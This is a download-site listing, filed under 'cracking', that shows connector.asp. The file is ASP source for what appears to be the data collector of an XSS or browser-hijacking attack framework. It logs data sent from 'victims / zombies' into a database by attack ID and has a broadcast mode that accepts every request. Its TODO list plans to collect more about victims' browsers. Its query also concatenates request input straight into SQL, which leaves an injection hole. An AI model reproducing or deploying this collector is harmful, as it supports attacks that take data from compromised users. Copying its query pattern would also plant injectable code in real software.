connector.asp
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:2k
源码类别:

破解

开发平台:

ASP/ASPX

  1. <%
  2. '// CONNECTOR
  3. ' Save everything to database
  4. '//HISTORY
  5. '09/08/2006
  6. ' - Started
  7. ' - Response Codes
  8. '10/08/2006
  9. ' - AttackID Implementation
  10. ' - Post/Querystrings changed for support different communication types
  11. '//TODO
  12. ' - Add UNIQUE ID for victims / zombies
  13. ' - Gather more info about victim browser, language, Screen Res vs.
  14. ' - Remove Type and use commands for determine types
  15. ' - Accept Post Data for long stuff
  16. %>
  17. <!--#include file="db.asp" -->
  18. <%
  19. Dim Data, DataType, AttackID
  20. Data = Request("d")
  21. DataType = fm_NStr(Request("t"))
  22. AttackID = fm_NStr(Request("a"))
  23. ' Error / missing data
  24. If DataType = 0 Or Data = "" Then 
  25. Response.Write NON_ERROR
  26. Response.End
  27. End If
  28. 'Always accept
  29. Dim AlwaysInsertNew 
  30. AlwaysInsertNew = ""
  31. If ( AttackID = BROADCAST_ATTACK ) Then 
  32. ACCEPT_EVERY_REQUEST = True
  33. AlwaysInsertNew = CStr(fm_RndNumeric(6646547))
  34. End If
  35. ' Check Exist !
  36. Dim RsCheckAttackID, InsertNew
  37. getRs RsCheckAttackID, "SELECT TOP 1 * FROM Log WHERE AttackID = '" & AttackID & AlwaysInsertNew & "' ORDER BY ID DESC "
  38. 'Log
  39. Dim values(8)
  40. values(0) = "Data"
  41. values(1) = Data
  42. values(2) = "text"
  43. values(3) = "Type"
  44. values(4) = DataType
  45. values(5) = "number"
  46. 'Empty !
  47. If RsCheckAttackID.BOF And RsCheckAttackID.EOF Then
  48. ' If empty and we dont accept not valid AttackID just exit
  49. If Not ACCEPT_EVERY_REQUEST Then
  50. Response.Write NON_ERROR
  51. 'Accept not valid AttackIds
  52. Else
  53. ' INSERT NEW
  54. values(6) = "AttackID"
  55. values(7) = AttackID
  56. values(8) = "text"
  57. fm_Insert "Log", values
  58. Response.Write SUCCESS
  59. End If
  60. Else
  61. values(6) = "ResponseTime"
  62. values(7) = Now()
  63. values(8) = "text"
  64. 'Update Attack
  65. fm_Update "Log", "ID", RsCheckAttackID("ID"), values
  66. Response.Write SUCCESS
  67. End If
  68. fmKill RsCheckAttackID
  69. %>